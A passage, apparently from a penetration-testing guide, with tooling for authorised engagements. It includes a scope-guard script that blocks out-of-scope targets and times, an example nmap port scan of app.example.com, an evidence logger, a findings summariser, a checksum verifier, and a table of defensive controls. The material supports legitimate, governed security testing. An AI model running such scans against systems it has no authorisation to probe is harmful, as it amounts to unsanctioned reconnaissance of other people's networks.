def parse_network(value: str) -> ipaddress.IPv4Network | ipaddress.IPv6Network | None:
    try:
        return ipaddress.ip_network(value, strict=False)
    except ValueError:
        return None


def matches(
    target: str,
    target_addresses: set[ipaddress.IPv4Address | ipaddress.IPv6Address],
    rules: list[str],
) -> bool:
    for rule in rules:
        if target == rule:
            return True
        network = parse_network(rule)
        if network is not None and any(address in network for address in target_addresses):
            return True
        if network is None and "/" not in rule:
            try:
                if target_addresses & addresses(rule):
                    return True
            except SystemExit:
                continue
    return False


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--scope-dir", type=Path, default=Path("scope"))
    parser.add_argument("--target", action="append", required=True)
    parser.add_argument("command", nargs=argparse.REMAINDER)
    args = parser.parse_args()

    now = dt.datetime.now(dt.UTC)
    if not instant("WINDOW_START") <= now <= instant("WINDOW_END"):
        raise SystemExit("REFUSED: outside the authorised test window")
    if not args.command or args.command[0] != "--" or len(args.command) == 1:
        raise SystemExit("REFUSED: command must follow --")

    allowed = entries(args.scope_dir / "in-scope.txt")
    excluded = entries(args.scope_dir / "exclusions.txt")
    for original in args.target:
        target = original.rstrip(".").lower()
        resolved = addresses(target)
        if matches(target, resolved, excluded):
            raise SystemExit(f"REFUSED: excluded target {original}")
        if not matches(target, resolved, allowed):
            raise SystemExit(f"REFUSED: target is not in scope: {original}")

    return subprocess.run(args.command[1:], check=False).returncode


if __name__ == "__main__":
    sys.exit(main())
export WINDOW_START=2026-09-27T00:00:00Z
export WINDOW_END=2026-09-27T08:00:00Z
./scope-guard.py --target app.example.com -- \
  nmap -sT -Pn -p 443 app.example.com

Review the resolved addresses printed by the underlying tool as part of the evidence. DNS can change between validation and connection, so high-risk engagements should pin approved address records or enforce the same allow-list at the test-host firewall.

Engagement logger: wraps a command, records an unambiguous shell-escaped invocation, captures stdout and stderr, hashes the output and appends JSON Lines metadata. It does not record environment variables because they may contain credentials.

#!/usr/bin/env bash
# usage: run.sh nmap -sT -Pn 192.0.2.10
set -euo pipefail
(( $# > 0 )) || { echo "usage: $0 command [argument ...]" >&2; exit 2; }
mkdir -p evidence/runs
stamp=$(date -u +%Y%m%dT%H%M%SZ)
slug=$(printf '%s' "$1" | tr -c 'A-Za-z0-9._-' '-' | cut -c1-40)
out="evidence/runs/${stamp}_${slug}_$$.log"

{
  printf '# command:'
  printf ' %q' "$@"
  printf '\n# started: %s\n# host:    %s\n\n' "$stamp" "$(hostname)"
} > "$out"

set +e
"$@" > >(tee -a "$out") 2> >(tee -a "$out" >&2)
rc=$?
set -e

finished=$(date -u +%FT%TZ)
printf '\n# finished: %s\n# exit:     %d\n' "$finished" "$rc" >> "$out"
sha256=$(sha256sum "$out" | cut -d' ' -f1)
command_json=$(printf '%s\0' "$@" | jq -Rs 'split("\u0000")[:-1]')
jq -cn \
  --arg started "$stamp" \
  --arg finished "$finished" \
  --arg host "$(hostname)" \
  --arg output "$out" \
  --arg sha256 "$sha256" \
  --argjson exit_code "$rc" \
  --argjson command "$command_json" \
  '{started:$started,finished:$finished,host:$host,command:$command,exit_code:$exit_code,output:$output,sha256:$sha256}' \
  >> evidence/index.jsonl
printf '%s  %s\n' "$sha256" "$out" >> evidence/SHA256SUMS
exit "$rc"

The logger records secrets if they are command-line arguments. Prefer environment variables, standard input or a protected credential file supported by the tool. Before sharing evidence, inspect both the log and metadata and redact a copy. Preserve the original according to the evidence-handling agreement.

Findings summary: turns the running evidence/findings.tsv (severity<TAB>title<TAB>asset<TAB>detected) into a Markdown table ordered by severity, ready to paste into the report draft. Read-only.

#!/usr/bin/env bash
# usage: findings-summary.sh evidence/findings.tsv > report/summary.md
set -euo pipefail
f=${1:?findings tsv (severity<TAB>title<TAB>asset<TAB>detected)}

rank() { case ${1,,} in critical) echo 0;; high) echo 1;; medium) echo 2;; low) echo 3;; *) echo 4;; esac; }

printf '| Severity | Finding | Affected asset | Detected |\n| --- | --- | --- | --- |\n'
while IFS=$'\t' read -r sev title asset detected; do
  [[ -z ${sev:-} || $sev == severity ]] && continue
  printf '%d\t%s\t%s\t%s\t%s\n' "$(rank "$sev")" "$sev" "$title" "$asset" "$detected"
done < "$f" | sort -n | cut -f2- | while IFS=$'\t' read -r sev title asset detected; do
  # escape any pipe so the Markdown table renders
  printf '| %s | %s | %s | %s |\n' "$sev" "${title//|/\\|}" "${asset//|/\\|}" "${detected:-not tested}"
done

printf '\n_%d findings, generated %s._\n' "$(grep -vc '^severity' "$f")" "$(date -u +%F)"

Evidence verifier: rebuilds the checksum manifest in deterministic path order, or verifies it later. Run create only after raw evidence collection has stopped; subsequent changes should fail verification and be explained as a new evidence version.

#!/usr/bin/env python3
"""Create or verify SHA-256 hashes for an evidence directory."""

from __future__ import annotations

import argparse
import hashlib
from pathlib import Path
import sys


def digest(path: Path) -> str:
    value = hashlib.sha256()
    with path.open("rb") as handle:
        for chunk in iter(lambda: handle.read(1024 * 1024), b""):
            value.update(chunk)
    return value.hexdigest()


def files(root: Path, manifest: Path) -> list[Path]:
    found: list[Path] = []
    for path in root.rglob("*"):
        if path.is_symlink():
            raise SystemExit(f"refusing symlink in evidence tree: {path}")
        if path.is_file() and path != manifest:
            found.append(path)
    return sorted(found)


def create(root: Path, manifest: Path) -> int:
    with manifest.open("w", encoding="utf-8", newline="\n") as handle:
        for path in files(root, manifest):
            handle.write(f"{digest(path)}  {path.relative_to(root).as_posix()}\n")
    print(f"wrote {manifest}")
    return 0


def verify(root: Path, manifest: Path) -> int:
    failed = False
    listed: set[str] = set()
    root_resolved = root.resolve()
    for line_number, line in enumerate(manifest.read_text(encoding="utf-8").splitlines(), 1):
        try:
            expected, relative = line.split("  ", 1)
        except ValueError:
            print(f"line {line_number}: malformed", file=sys.stderr)
            failed = True
            continue
        path = root / relative
        try:
            path.resolve().relative_to(root_resolved)
        except ValueError:
            print(f"FAILED  unsafe path: {relative}", file=sys.stderr)
            failed = True
            continue
        listed.add(relative)
        if path.is_symlink() or not path.is_file() or digest(path) != expected:
            print(f"FAILED  {relative}", file=sys.stderr)
            failed = True
        else:
            print(f"OK      {relative}")
    actual = {path.relative_to(root).as_posix() for path in files(root, manifest)}
    for relative in sorted(actual - listed):
        print(f"FAILED  unmanifested: {relative}", file=sys.stderr)
        failed = True
    return int(failed)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("action", choices=("create", "verify"))
    parser.add_argument("root", type=Path, nargs="?", default=Path("evidence"))
    args = parser.parse_args()
    manifest = args.root / "SHA256SUMS"
    if args.action == "create":
        args.root.mkdir(parents=True, exist_ok=True)
        return create(args.root, manifest)
    if not manifest.is_file():
        raise SystemExit(f"missing manifest: {manifest}")
    return verify(args.root, manifest)


if __name__ == "__main__":
    sys.exit(main())

Further reading#

Defensive counterpart#

Every technique above has a control worth verifying while you are there:

AreaControl
IdentityMFA everywhere, no reused local admin passwords (LAPS), tiered admin accounts
KerberosManaged service accounts, AES only, no unconstrained delegation
EndpointEDR with tamper protection, application allow-listing, LSASS protection
NetworkEgress filtering, internal segmentation, no flat management VLAN
CloudIMDSv2, least-privilege roles, no long-lived keys, CloudTrail with alerting
KubernetesPod Security admission, no privileged workloads, audit log shipped and alerted
DetectionAlerts for spraying, DCSync, new services, and outbound beacons